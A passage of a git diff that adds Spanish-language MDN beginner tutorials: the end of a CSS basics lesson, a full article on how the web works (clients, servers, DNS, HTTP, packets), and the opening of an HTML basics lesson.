+<p><img alt="Un logo de Mozilla y algunos párrafos. se ha establecido una fuente sans-serif, se han ajustado los tamaños de las fuentes, la altura de las líneas y el espaciado de las letras, y se ha centrado el encabezamiento de la página principal." src="https://mdn.mozillademos.org/files/9447/website-screenshot-font-small.png" style="display: block; height: 1020px; margin: 0px auto; width: 921px;"></p>
+
+<h2 id="Cajas_cajas_todo_se_trata_de_cajas">Cajas, cajas, todo se trata de cajas</h2>
+
+<p>Una cosa que notarás sobre la escritura de CSS es que trata mucho sobre cajas —ajustando su tamaño, color, posición, etc—. Puedes pensar en la mayoría de los elementos HTML de tu página como cajas apiladas una sobre la otra.</p>
+
+<p><img alt="Una gran pila de cajas o cajones puestos uno encima del otro." src="https://mdn.mozillademos.org/files/9441/boxes.jpg" style="display: block; height: 463px; margin: 0px auto; width: 640px;"></p>
+
+<p>No es de extrañar que el diseño de CSS esté basado principalmente en el <em>modelo de caja</em>. Cada una de las cajas que ocupa espacio en tu página tiene propiedades como estas:</p>
+
+<ul>
+ <li><code>padding</code> (relleno), el espacio alrededor del contenido. En el ejemplo siguiente, es el espacio alrededor del texto del párrafo.</li>
+ <li><code>border</code> (marco), la línea que se encuentra fuera del relleno.</li>
+ <li><code>margin</code> (margen), el espacio fuera del elemento que lo separa de los demás.</li>
+</ul>
+
+<p><img alt="tres cajas puestas una dentro de otra. De fuera a dentro están etiquetadas con el margen, el borde y el relleno" src="https://mdn.mozillademos.org/files/9443/box-model.png" style="display: block; height: 450px; margin: 0px auto; width: 574px;"></p>
+
+<p>En esta sección también se utiliza:</p>
+
+<ul>
+ <li><code>width</code> (ancho del elemento)</li>
+ <li><code>background-color</code>, el color de fondo del contenido y del relleno</li>
+ <li><code>color</code>, el color del contenido del elemento (generalmente texto)</li>
+ <li><code>text-shadow</code>: coloca una sombra difuminada en el texto dentro del elemento</li>
+ <li><code>display</code>: selecciona el modo de visualización para el elemento (no te preocupes de esto por ahora)</li>
+</ul>
+
+<p>Bien, ¡continúa y agrega más código CSS a la página! Sigue añadiendo estas reglas nuevas al final de la página, y no temas experimentar cambiando los valores para ver cómo resulta.</p>
+
+<h3 id="Cambiar_el_color_de_la_página">Cambiar el color de la página</h3>
+
+<pre class="brush: css notranslate">html {
+  background-color: #00539F;
+}</pre>
+
+<p>Esta regla asigna un color de fondo a la página entera. Puedes cambiar el código de color por cualquiera <a href="/es/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like#Color_de_tema">como el que elegiste usar en tu proyecto</a>.</p>
+
+<h3 id="Dar_estilo_al_cuerpo_del_documento">Dar estilo al cuerpo del documento</h3>
+
+<pre class="brush: css notranslate">body {
+  width: 600px;
+  margin: 0 auto;
+  background-color: #FF9500;
+  padding: 0 20px 20px 20px;
+  border: 5px solid black;
+}</pre>
+
+<p>Ahora tienes varias declaraciones en el elemento <a href="/es/docs/Web/HTML/Element/body">body</a>. Revisa una por una:</p>
+
+<ul>
+ <li><code>width: 600px;</code> — esto hará que el cuerpo siempre tenga 600 píxeles de ancho.</li>
+ <li><code>margin: 0 auto;</code> — cuando seleccionas dos valores dentro de propiedades como <code>margin</code> o <code>padding</code>, el primer valor afectará los lados superior (top) <strong>e</strong> inferior (bottom) (en este caso haciéndolo en 0), y el segundo valor los lados izquierdo (left) <strong>y</strong> derecho (right) (aquí, <code>auto</code> es un valor especial que divide el espacio disponible entre derecha e izquierda). Puedes usar esta propiedad con uno, dos, tres o cuatro valores como se explica en la <a href="/es/docs/Web/CSS/padding#Sintaxis">sintaxis de padding</a>.</li>
+ <li><code>background-color: #FF9500;</code> — como antes, este selecciona el color de fondo de un elemento. Se ha usado un naranja rojizo para el elemento <code>body</code> en contraste con el azul oscuro del elemento {{htmlelement("html")}}. Sigue y experimenta. Siéntete libre de usar <code>white</code> o cualquiera que sea de tu agrado.</li>
+ <li><code>padding: 0 20px 20px 20px;</code> — tienes 4 valores puestos en el relleno, para dar un poco de espacio alrededor del contenido. Esta vez no pondrás relleno en la parte de arriba de <code>body</code>, 20 píxeles a la izquierda, abajo y derecha. Los valores se ponen: arriba, derecha, abajo e izquierda, en ese orden. Como con <code>margin</code> usar esta propiedad con uno, dos, tres o cuatro valores como se explica en la <a href="/es/docs/Web/CSS/padding#Sintaxis">sintaxis de padding</a>.</li>
+ <li><code>border: 5px solid black;</code> — este simplemente pone un borde de 5 píxeles de ancho, continuo y de color negro alrededor del elemento <code>body</code>.</li>
+</ul>
+
+<h3 id="Posicionar_y_dar_estilo_al_título_principal_de_la_página">Posicionar y dar estilo al título principal de la página</h3>
+
+<pre class="brush: css notranslate">h1 {
+  margin: 0;
+  padding: 20px 0;
+  color: #00539F;
+  text-shadow: 3px 3px 1px black;
+}</pre>
+
+<p>Puedes haber notado que hay un hueco horrible en la parte superior de <em>body</em>. Esto sucede porque los navegadores vienen con estilos por defecto, ¡incluso cuando aún no se ha aplicado ningún archivo CSS! Esto podría parecer una mala idea, pero se quiere que aun una página sin estilizar sea legible. Para deshacerte de este espacio elimina el estilo por defecto, agregando <code>margin: 0;</code>.</p>
+
+<p>Enseguida, se ha puesto un relleno arriba y abajo del título de 20 píxeles, y se hizo que el color del texto sea el mismo que el color de fondo de <code>html</code>.</p>
+
+<p>Una propiedad muy interesante que se ha usado aquí es <code>text-shadow</code>, que aplica una sombra al texto del elemento. Sus cuatro valores son como sigue:</p>
+
+<ul>
+ <li>El primer valor en píxeles asigna el <strong>desplazamiento horizontal</strong> de la sombra desde el texto —qué tan lejos la mueve a la derecha—. Un valor negativo la moverá a la izquierda.</li>
+ <li>El segundo valor en píxeles asigna el <strong>desplazamiento vertical</strong> de la sombra desde el texto —qué tan lejos la mueve hacia abajo—. En este ejemplo, un valor negativo la desplazaría hacia arriba.</li>
+ <li>El tercer valor en píxeles asigna <strong>radio de desenfoque</strong> de la sombra —un valor grande es igual a una sombra borrosa—.</li>
+ <li>El cuarto valor asigna el color base de la sombra.</li>
+</ul>
+
+<p>Una vez más, trata de experimentar con diferentes valores para ver cómo resulta.</p>
+
+<h3 id="Centrar_la_imagen">Centrar la imagen</h3>
+
+<pre class="brush: css notranslate">img {
+  display: block;
+  margin: 0 auto;
+}</pre>
+
+<p>Finalmente, centra la imagen para hacer que luzca mejor. Puedes usar nuevamente el truco de <code>margin: 0 auto</code> que usaste antes para <code>body</code>, pero existen diferencias que requieren que hagas algo más para que el código CSS funcione.</p>
+
+<p>El elemento {{htmlelement("body")}} es un elemento en nivel de bloque (<strong>block-level</strong>), lo que significa que tomará espacio en la página y que puede tener otros valores de espacio aplicables como margen. Las imágenes, por otra parte, son elementos <strong>inline</strong>, lo que quiere decir que no puedes aplicarles márgenes, debes dar a la imagen un comportamiento de <em>block-level</em> usando <code>display: block;</code>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: las instrucciones anteriores asumen que estás usando una imagen más pequeña que el ancho establecido en <code>body</code> (600 píxeles). Si tu imagen es más grande, desbordará el cuerpo, derramándose en el resto de la página. Para solucionar esto, puedes hacer lo siguiente: 1) reducir el ancho de la imagen usando un <a href="https://es.wikipedia.org/wiki/Editor_de_gráficos_rasterizados">editor gráfico</a>, o 2) usar CSS para dimensionar la imagen estableciendo la propiedad {{cssxref("width")}} en el elemento <code>&lt;img&gt;</code> con un valor menor.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: no te preocupes si aún no entiendes <code>display: block;</code> y la diferencia entre un elemento de bloque y un elemento <em>inline</em>. Lo entenderás en tanto estudies CSS a profundidad. Puedes encontrar más en cuanto a los diferentes valores disponibles para <em>display</em> en la <a href="/es/docs/Web/CSS/display">página de referencia de display</a>.</p>
+</div>
+
+<h2 id="Conclusión">Conclusión</h2>
+
+<p>Si has seguido las instrucciones de esta publicación, deberías terminar con una página que luce algo así (también puedes <a href="http://mdn.github.io/beginner-html-site-styled/">ver nuestra versión aquí</a>):</p>
+
+<p><img alt="El logo de Mozilla centrado con título y párrafos. Ahora se ve muy bien de estilo, con un fondo azul para toda la página y un fondo naranja para la franja de contenido principal centrada." src="https://mdn.mozillademos.org/files/9455/website-screenshot-final.png" style="display: block; height: 1084px; margin: 0px auto; width: 940px;"></p>
+
+<p>Si te atoraste, puedes comparar tu trabajo con el <a href="https://github.com/mdn/beginner-html-site-styled/blob/gh-pages/styles/style.css">código del ejemplo finalizado en GitHub</a>.</p>
+
+<p>Aquí, solo has arañado la superficie de CSS. Si quieres encontrar más, puedes ir a la <a href="/es/docs/Learn/CSS">página de aprendizaje de CSS</a>.</p>
+
+<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web/JavaScript_basics","Learn/Getting_started_with_the_web")}}</p>
diff --git a/files/es/learn/getting_started_with_the_web/cómo_funciona_la_web/index.html b/files/es/learn/getting_started_with_the_web/cómo_funciona_la_web/index.html
new file mode 100644
index 0000000000..546baf0309
--- /dev/null
+++ b/files/es/learn/getting_started_with_the_web/cómo_funciona_la_web/index.html
@@ -0,0 +1,100 @@
+---
+title: Cómo funciona la web
+slug: Learn/Getting_started_with_the_web/Cómo_funciona_la_Web
+tags:
+  - Cliente
+  - DNS
+  - HTTP
+  - IP
+  - Infraestructura
+  - Internet
+  - Principiante
+  - Protocolos
+  - Servidor
+  - TCP
+  - Web
+translation_of: Learn/Getting_started_with_the_web/How_the_Web_works
+---
+<div>{{LearnSidebar()}}</div>
+
+<div>{{PreviousMenu("Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}</div>
+
+<div class="summary">
+<p><em>Cómo funciona la web</em> proporciona una vista simplificada de lo que sucede cuando ves una página web en un navegador web de tu computador o teléfono.</p>
+</div>
+
+<p>Esta teoría no es esencial para escribir código web a corto plazo, pero en poco tiempo empezarás a beneficiarte realmente al entender lo que está sucediendo en el fondo.</p>
+
+<h2 id="Los_clientes_y_servidores">Los clientes y servidores</h2>
+
+<p>Las computadoras conectadas a la web se llaman <strong>clientes</strong> y <strong>servidores</strong>. Un diagrama simplificado de cómo interactúan se vería así:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/17299/Cliente-Servidor.png" style="height: 123px; width: 336px;"></p>
+
+<ul>
+ <li>Los clientes son dispositivos de los usuarios conectados a Internet (por ejemplo, tu ordenador conectado a la red Wi-Fi o el teléfono conectado a la red de telefonía móvil) y el software que se encuentra disponible y permite acceder a Internet en dichos dispositivos (normalmente, un navegador web como Firefox o Chrome).</li>
+ <li>Los servidores son computadores que almacenan páginas web, sitios o aplicaciones. Cuando un dispositivo cliente quiere acceder a una página web, una copia de la página web se descarga desde el servidor en el equipo cliente y se muestra en el navegador web del usuario.</li>
+</ul>
+
+<h2 id="Las_otras_partes_de_la_caja_de_herramientas">Las otras partes de la caja de herramientas</h2>
+
+<p>El cliente y el servidor que describimos anteriormente, no cuentan toda la historia. Hay muchas otras partes involucradas y vamos a describirlas a continuación.</p>
+
+<p>Por ahora, imaginemos que la web es un camino. En un extremo de la carretera, está el cliente, que es como tu casa. En el extremo opuesto del camino, está el servidor, que es una tienda en la que deseas comprar algo.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9749/road.jpg" style="display: block; height: 427px; margin: 0px auto; width: 640px;"></p>
+
+<p>Además del cliente y el servidor, también tenemos que saludar a:</p>
+
+<ul>
+ <li><strong>Tu conexión a Internet</strong>: permite enviar y recibir datos en la web. Básicamente es el recorrido entre tu casa y la tienda.</li>
+ <li><strong>TCP/IP</strong>: <strong>Protocolo de Control de Transmisión</strong> y <strong>Protocolo de Internet</strong>, son los protocolos de comunicación que definen cómo deben viajar los datos a través de la web. Esto es, los medios de transporte que te permiten hacer un pedido, ir a la tienda y comprar los productos. En nuestro ejemplo, podría ser un coche, una bicicleta o tus propios pies.</li>
+ <li><strong>DNS: </strong>los servidores del <strong>Sistema de Nombres de Dominio</strong> (DNS, por sus siglas en inglés), son como una libreta de direcciones de sitios web. Cuando escribes una dirección web en el navegador, el navegador busca los DNS antes de recuperar el sitio web. El navegador necesita averiguar en qué servidor vive el sitio web y así enviar los mensajes HTTP al lugar correcto (ver más abajo). Esto es como buscar la dirección de la tienda para que puedas llegar a ella.</li>
+ <li><strong>HTTP: </strong><span class="st">el <strong>Protocolo de Transferencia de Hipertexto</strong></span> es un protocolo de aplicación que define un idioma para que los clientes y servidores se puedan comunicar. Esto es como el idioma que utilizas para ordenar tus compras.</li>
+ <li><strong>Archivos componentes</strong>: un sitio web se compone de muchos archivos diferentes, que son como las diferentes partes de los productos que comprarás en la tienda. Estos archivos se dividen en dos tipos principales:
+  <ul>
+   <li><strong>Archivos de código</strong>: los sitios web se construyen principalmente con HTML, CSS y JavaScript, aunque te encontrarás con otras tecnologías más adelante.</li>
+   <li><strong>Recursos: </strong>este es un nombre colectivo para el resto de materiales que conforman un sitio web, como imágenes, música, video, documentos de Word, archivos PDF, etc.</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Entonces_¿qué_sucede_exactamente">Entonces, ¿qué sucede exactamente?</h2>
+
+<p>Cuando escribes una dirección web en el navegador (usando nuestra analogía para ir a la tienda):</p>
+
+<ol>
+ <li>El navegador va al servidor DNS y encuentra la dirección real del servidor donde el sitio web vive (encontrar la dirección de la tienda).</li>
+ <li>El navegador envía un mensaje de petición HTTP al servidor, pidiéndole que envíe una copia de la página web para el cliente (ir a la tienda y hacer un pedido). Este mensaje y todos los datos enviados entre el cliente y el servidor, se envían a través de tu conexión a Internet usando TCP/IP.</li>
+ <li>Siempre que el servidor apruebe la solicitud del cliente, el servidor enviará al cliente un mensaje «200 OK», que significa, «¡por supuesto que puedes ver ese sitio web! Aquí está.», y comenzará a enviar los archivos de la página web al navegador como una serie de pequeños trozos llamados <em>paquetes de datos</em> (la tienda te entrega tus productos y los llevas de regreso a casa).</li>
+ <li>El navegador reúne los pequeños trozos, forma un sitio web completo y te lo muestra (llegas a casa con tus nuevas compras).</li>
+</ol>
+
+<h2 id="Explicación_de_los_DNS">Explicación de los DNS</h2>
+
+<p>Las direcciones webs reales no son las agradables y fácilmente recordables secuencias que tecleas en la barra de direcciones para encontrar tus sitios webs favoritos. En realidad, se trata de secuencias de números, algo como 63.245.217.105.</p>
+
+<p>Lo anterior se llama <a href="/es/docs/Glossary/IP_Address">dirección IP</a> y representa un lugar único en la web. Sin embargo, no es muy fácil de recordar, ¿verdad? Por eso se inventaron los servidores de nombres de dominio. Estos son servidores especiales que hacen coincidir una dirección web tecleada desde tu navegador («mozilla.org», por ejemplo) con la dirección real del sitio web (IP).</p>
+
+<p>Los sitios webs se pueden acceder directamente a través de sus direcciones IP. Intenta acceder a la página web de Mozilla escribiendo <strong><code>63.245.217.105</code></strong> en la barra de dirección de una nueva pestaña en tu navegador. Puedes encontrar la dirección IP de un sitio web escribiendo su dominio en una herramienta como <a href="https://ipinfo.info/html/ip_checker.php">IP Checker</a>.</p>
+
+<p><img alt="Un nombre de dominio es más que otra forma de una dirección IP" src="https://mdn.mozillademos.org/files/8405/dns-ip.png" style="height: 160px; width: 330px;"></p>
+
+<h2 id="Explicación_de_los_paquetes">Explicación de los paquetes</h2>
+
+<p>Anteriormente hemos utilizado el término <em><strong>paquetes</strong></em> para describir el formato en que los datos se envían desde el servidor al cliente. ¿Qué significa esto? Básicamente, que los datos se envían a través de la web como miles de trozos pequeños, permitiendo que muchos usuarios pueden descargar la misma página web al mismo tiempo. Si los sitios web fueran enviados como grandes trozos, sólo un usuario podría descargarlos a la vez, lo que volvería a la web muy ineficiente y poco divertida.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Learn/Common_questions/How_does_the_Internet_work">¿Cómo funciona Internet</a></li>
+ <li><a href="https://dev.opera.com/articles/http-basic-introduction/">HTTP: Un protocolo de nivel de aplicación </a>(en inglés)</li>
+ <li><a href="https://dev.opera.com/articles/http-lets-get-it-on/">HTTP: Trabajemos con él</a> (en inglés)</li>
+ <li><a href="https://dev.opera.com/articles/http-response-codes/">Códigos de respuesta: HTTP</a>  (en inglés)</li>
+</ul>
+
+<h2 id="Crédito">Crédito</h2>
+
+<p>Foto de la calle: Street Composing, por <a href="https://www.flickr.com/photos/kdigga/">Kevin </a>D.</p>
+
+<p>{{PreviousMenu("Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}</p>
diff --git a/files/es/learn/getting_started_with_the_web/html_basics/index.html b/files/es/learn/getting_started_with_the_web/html_basics/index.html
new file mode 100644
index 0000000000..e4e4f856a3
--- /dev/null
+++ b/files/es/learn/getting_started_with_the_web/html_basics/index.html
@@ -0,0 +1,224 @@
+---
+title: 'HTML:  básico'
+slug: Learn/Getting_started_with_the_web/HTML_basics
+tags:
+  - Aprendizaje
+  - HTML
+  - Principiante
+  - Web
+translation_of: Learn/Getting_started_with_the_web/HTML_basics
+---
+<p>{{LearnSideBar}}</p>
+
+<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web/CSS_basics","Learn/Getting_started_with_the_web")}}</p>
+
+<p>El Lenguaje de Marcado de Hipertexto (HTML) es el código que se utiliza para estructurar y desplegar una página web y sus contenidos. Por ejemplo, sus contenidos podrían ser párrafos, una lista con viñetas, o imágenes y tablas de datos. Como lo sugiere el título, este artículo te dará una comprensión básica de HTML y cúal es su función.</p>
+
+<h2 id="Entonces_¿qué_es_HTML_en_realidad">Entonces, ¿qué es HTML en realidad?</h2>
+
+<p>HTML no es un lenguaje de programación; es un <em>lenguaje de marcado</em> que define la estructura de tu contenido. HTML consiste en una serie de elementos que usarás para encerrar diferentes partes del contenido para que se vean o comporten de una determinada manera. Las etiquetas de encierre pueden hacer de una palabra o una imagen un hipervínculo a otro sitio, se pueden cambiar palabras a cursiva, agrandar o achicar la letra, etc. Por ejemplo, toma la siguiente línea de contenido:</p>
+
+<pre class="notranslate">Mi gato es muy gruñon</pre>
+
+<p>Si quieres especificar que se trata de un párrafo, podrías encerrar el texto con la etiqueta de párrafo ({{htmlelement("p")}}):</p>
+
+<pre class="notranslate">&lt;p&gt;Mi gato es muy gruñon&lt;/p&gt;</pre>
+
+<h3 id="Anatomía_de_un_elemento_HTML">Anatomía de un elemento HTML</h3>
+
+<p>Explora este párrafo en mayor profundidad.</p>
+
+<p><img alt="elementos de gato gruñon" src="https://mdn.mozillademos.org/files/11913/htmlexp.png" style="display: block; height: 255px; margin: 0px auto; width: 821px;"></p>
+
+<p>Las partes principales del elemento son:</p>
+
+<ol>
+ <li><strong>La etiqueta de apertura</strong>: consiste en el nombre del elemento (en este caso, p), encerrado por <strong>paréntesis angulares</strong> (&lt; &gt;) de apertura y cierre. Establece dónde comienza o empieza a tener efecto el elemento —en este caso, dónde es el comienzo del párrafo—.</li>
+ <li><strong>La etiqueta de cierre</strong>: es igual que la etiqueta de apertura, excepto que incluye una barra de cierre (/) antes del nombre de la etiqueta. Establece dónde termina el elemento —en este caso dónde termina el párrafo—.</li>
+ <li><strong>El contenido</strong>: este es el contenido del elemento, que en este caso es sólo texto.</li>
+ <li><strong>El elemento</strong>: la etiqueta de apertura, más la etiqueta de cierre, más el contenido equivale al elemento.</li>
+</ol>
+
+<p>Los elementos pueden también tener atributos, que se ven así:</p>
+
+<p><img alt="atributo html" src="https://mdn.mozillademos.org/files/11915/htmlatributos.png" style="display: block; height: 156px; margin: 0px auto; width: 1287px;"></p>
+
+<p>Los atributos contienen información adicional acerca del elemento, la cual no quieres que aparezca en el contenido real del elemento. Aquí <code>class</code> es el <em>nombre</em> del atributo y <code>editor-note</code> el <em>valor</em> del atributo. En este caso, el atributo <code>class</code> permite darle al elemento un nombre identificativo, que se puede utilizar luego para apuntarle al elemento información de estilo y demás cosas.</p>
+
+<p>Un atributo debe tener siempre:</p>
+
+<ol>
+ <li>Un espacio entre este y el nombre del elemento (o del atributo previo, si el elemento ya posee uno o más atributos).</li>
+ <li>El nombre del atributo, seguido por un signo de igual (<strong>=</strong>).</li>
+ <li>Comillas de apertura y de cierre, encerrando el valor del atributo.</li>
+</ol>
+
+<p>Los atributos siempre se incluyen en la etiqueta de apertura de un elemento, nunca en la de cierre.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: el atributo con valores simples que no contengan espacios en blanco ASCII (o cualesquiera de los caracteres <code>"</code> <code>'</code> <code>`</code> <code>=</code> <code>&lt;</code> <code>&gt;</code>) pueden permanecer sin entrecomillar, pero se recomienda entrecomillar todos los valores de atributo, ya que esto hace que el código sea más consistente y comprensible.</p>
+</div>
+
+<h3 id="Anidar_elementos">Anidar elementos</h3>
+
+<p>Puedes también colocar elementos dentro de otros elementos —esto se llama <strong>anidamiento</strong>—. Si, por ejemplo, quieres resaltar una palabra del texto (en el ejemplo la palabra «muy»), podemos encerrarla en un elemento {{htmlelement("strong")}}, que significa que dicha palabra se debe enfatizar:</p>
+
+<pre class="notranslate">&lt;p&gt;Mi gato es &lt;strong&gt;muy&lt;/strong&gt; gruñon.&lt;/p&gt;</pre>
+
+<p>Debes asegurarte que los elementos estén correctamente anidados: en el ejemplo de abajo, creaste la etiqueta de apertura del elemento {{htmlelement("p")}} primero, luego la del elemento {{htmlelement("strong")}}, por lo tanto, debes cerrar esta etiqueta primero, y luego la de &lt;p&gt;. Esto es incorrecto:</p>
+
+<pre class="notranslate">&lt;p&gt;Mi gato es &lt;strong&gt;muy gruñon.&lt;/p&gt;&lt;/strong&gt;</pre>
+
+<p>Los elementos deben abrirse y cerrarse ordenadamente, de forma tal que se encuentren claramente dentro o fuera el uno del otro. Si estos se encuentran solapados, el navegador web tratará de adivinar lo que intentas decirle, pero puede que obtengas resultados inesperados. Así que, ¡no lo hagas!</p>
+
+<h3 id="Elementos_vacíos">Elementos vacíos</h3>
+
+<p>Algunos elementos no poseen contenido, y son llamados <strong>elementos vacíos</strong>. Toma, por ejemplo, el elemento {{htmlelement("img")}} de nuestro HTML:</p>
+
+<pre class="notranslate">&lt;img src="images/firefox-icon.png" alt="Mi imagen de prueba"&gt;</pre>
+
+<p>Posee dos atributos, pero no hay etiqueta de cierre <code>&lt;/img&gt;</code> ni contenido encerrado. Esto es porque un elemento de imagen no encierra contenido al cual afectar. Su propósito es desplegar una imagen en la página HTML, en el lugar en que aparece.</p>
+
+<h3 id="Anatomía_de_un_documento_HTML">Anatomía de un documento HTML</h3>
+
+<p>Hasta ahora has visto lo básico de elementos HTML individuales, pero estos no son muy útiles por sí solos. Ahora verás cómo los elementos individuales son combinados para formar una página HTML entera. Vuelve a visitar el código de tu ejemplo en <code>index.html</code> (que viste por primera vez en el artículo <a href="/es/docs/Learn/Getting_started_with_the_web/Manejando_los_archivos">Manejo de archivos</a>):</p>
+
+<pre class="notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;Mi pagina de prueba&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;img src="images/firefox-icon.png" alt="Mi imagen de prueba"&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Tienes:</p>
+
+<ul>
+ <li><code>&lt;!DOCTYPE html&gt;</code> — el tipo de documento. Es un preámbulo requerido. Anteriormente, cuando HTML era joven (cerca de 1991/2), los tipos de documento actuaban como vínculos a un conjunto de reglas que el código HTML de la página debía seguir para ser considerado bueno, lo que podía significar la verificación automática de errores y algunas otras cosas de utilidad. Sin embargo, hoy día es simplemente un artefacto antiguo que a nadie le importa, pero que debe ser incluido para que todo funcione correctamente. Por ahora, eso es todo lo que necesitas saber.</li>
+ <li><code>&lt;html&gt;&lt;/html&gt;</code> — el elemento {{htmlelement("html")}}. Este elemento encierra todo el contenido de la página entera y, a veces, se le conoce como el elemento raíz (<em>root element</em>).</li>
+ <li><code>&lt;head&gt;&lt;/head&gt;</code> — el elemento {{htmlelement("head")}}. Este elemento actúa como un contenedor de todo aquello que quieres incluir en la página HTML que <em>no</em> es contenido visible por los visitantes de la página. Incluye cosas como palabras clave ({{Glossary("keyword", "keywords")}}), una descripción de la página que quieres que aparezca en resultados de búsquedas, código CSS para dar estilo al contenido, declaraciones del juego de caracteres, etc.</li>
+ <li><code>&lt;meta charset="utf-8"&gt;</code> — {{htmlelement("meta")}}. Este elemento establece el juego de caracteres que tu documento usará en <code>utf-8</code>, que incluye casi todos los caracteres de todos los idiomas humanos. Básicamente, puede manejar cualquier contenido de texto que puedas incluir. No hay razón para no establecerlo, y puede evitar problemas en el futuro.</li>
+ <li><code>&lt;title&gt;&lt;/title&gt;</code> — el elemento {{htmlelement("title")}} establece el título de tu página, que es el título que aparece en la pestaña o en la barra de título del navegador cuando la página es cargada, y se usa para describir la página cuando es añadida a los marcadores o como favorita.</li>
+ <li><code>&lt;body&gt;&lt;/body&gt;</code> — el elemento {{htmlelement("body")}}. Encierra <em>todo</em> el contenido que deseas mostrar a los usuarios web que visiten tu página, ya sea texto, imágenes, videos, juegos, pistas de audio reproducibles, y demás.</li>
+</ul>
+
+<h2 id="Imágenes">Imágenes</h2>
+
+<p>Presta atención nuevamente al elemento <em>imagen</em> {{htmlelement("img")}}:</p>
+
+<pre class="notranslate">&lt;img src="images/firefox-icon.png" alt="Mi imagen de prueba"&gt;</pre>
+
+<p>Como ya se dijo antes, incrusta una imagen en la página, en la posición en que aparece. Lo logra a través del atributo <code>src</code> (source), el cual contiene el <em>path (ruta o ubicación)</em> de tu archivo de imagen.</p>
+
+<p>También se incluye un atributo <code>alt</code> (alternative) el cual contiene un texto que debería describir la imagen, y que podría ser accedido por usuarios que no pueden ver la imagen, quizás porque:</p>
+
+<ol>
+ <li>Son ciegos o tienen deficiencias visuales. Los usuarios con impedimentos visuales usualmente utilizan herramientas llamadas <em>Lectores de pantalla (Screen Readers),</em> los cuales les leen el texto contenido en el atributo alt.</li>
+ <li>Se produjo algún error en el código que impide que la imagen sea cargada. Como ejemplo, modifica deliberadamente la ubicación dentro del atributo <code>src</code> para que este sea incorrecto. Si guardas y recargas la página, deberías ver algo así en lugar de la imagen:</li>
+</ol>
+
+<p><img alt="atributo html" src="https://mdn.mozillademos.org/files/11917/image.png" style="height: 36px; width: 108px;"></p>
+
+<p>La frase clave acerca del texto alt de arriba es «texto que debería describir la imagen». El texto alt debe proporcionarle al lector la suficiente información como para que este tenga una buena idea de qué muestra la imagen. Por lo que tu texto actual «Mi imagen de prueba» no es para nada bueno. Un texto mucho mejor para el logo de Firefox sería: <em>«El logo de Firefox: un zorro en llamas rodeando la Tierra»</em>.</p>
+
+<p>Prueba a dar con mejores textos alt para tu imagen.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Descubre más acerca de la accesibilidad en el <a href="/es/docs/Web/Accessibility">módulo de aprendizaje sobre la accesibilidad</a>.</p>
+</div>
+
+<h2 id="Marcado_de_texto">Marcado de texto</h2>
+
+<p>Esta sección cubrirá algunos de los elementos HTML básicos que usarás para el marcado de texto.</p>
+
+<h3 id="Encabezados">Encabezados</h3>
+
+<p>Los elementos de encabezado permiten especificar que ciertas partes del contenido son encabezados, o subencabezados del contenido. De la misma forma que un libro tiene un título principal, y que a su vez puede tener títulos por cada capítulo individual, y subtítulos dentro de ellos, un documento HTML puede tenerlos también. HTML posee seis niveles de encabezados, {{htmlelement("h1")}}–{{htmlelement("h6")}}, aunque probablemente solo llegues a usar 3-4 como mucho:</p>
+
+<pre class="notranslate">&lt;h1&gt;Mi título principal&lt;/h1&gt;
+&lt;h2&gt;Mi título de nivel superior&lt;/h2&gt;
+&lt;h3&gt;Mi subtítulo&lt;/h3&gt;
+&lt;h4&gt;Mi sub-subtítulo&lt;/h4&gt;</pre>
+
+<p>Intenta ahora añadir un título apropiado para tu página HTML, antes de tu elemento {{htmlelement("img")}}.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: verás que el encabezamiento de nivel 1 tiene un estilo implícito. No utilices elementos de encabezado para hacer el texto más grande o más oscuro, porque este elemento se utiliza por <a href="/es/docs/Learn/Accessibility/HTML#Contenido_del_texto">accesibilidad</a> y otras <a href="/es/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#¿Por_qué_necesitamos_estructura">razones como el posicionamiento en buscadores</a> (<em>Search Engine Optimization, SEO</em>). Intenta crear una secuencia significativa de encabezados en tus páginas, sin saltarte niveles.</p>
+</div>
+
+<h3 id="Párrafos">Párrafos</h3>
+
+<p>Como se explicó más arriba, los elementos {{htmlelement("p")}} se utilizan para encerrar párrafos de texto; los usarás frecuentemente para el marcado de contenido de texto regular:</p>
+
+<pre class="notranslate">&lt;p&gt;Este es un simple parrafo&lt;/p&gt;</pre>
+
+<p>Agrega uno o algunos párrafos a tu texto de ejemplo (deberías tenerlo de cuando estudiaste <a href="/es/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like"><em>¿Cuál será la apariencia de tu sitio web?</em></a>), colocados directamente debajo del elemento &lt;img&gt;.</p>
+
+<h3 id="Listas">Listas</h3>
+
+<p>Mucho del contenido web está dado por listas, así que HTML tiene elementos especiales para ellas. El marcado de listas se realiza siempre en al menos dos elementos. Los dos tipos de listas más comunes son las listas ordenadas y las desordenadas:</p>
+
+<ol>
+ <li><strong>Las listas desordenadas</strong> son aquellas en las que el orden de los items no es relevante, como en una lista de compras. Estas son encerradas en un elemento {{htmlelement("ul")}} (<em>unordered list</em>).</li>
+ <li><strong>Las listas ordenadas</strong> son aquellas en las que el orden sí es relevante, como en una receta. Estas son encerradas en un elemento {{htmlelement("ol")}} (<em>ordered list</em>).</li>
+</ol>
+
+<p>Cada elemento de la lista se coloca dentro de un elemento {{htmlelement("li")}} <em>(list item</em>).</p>
+
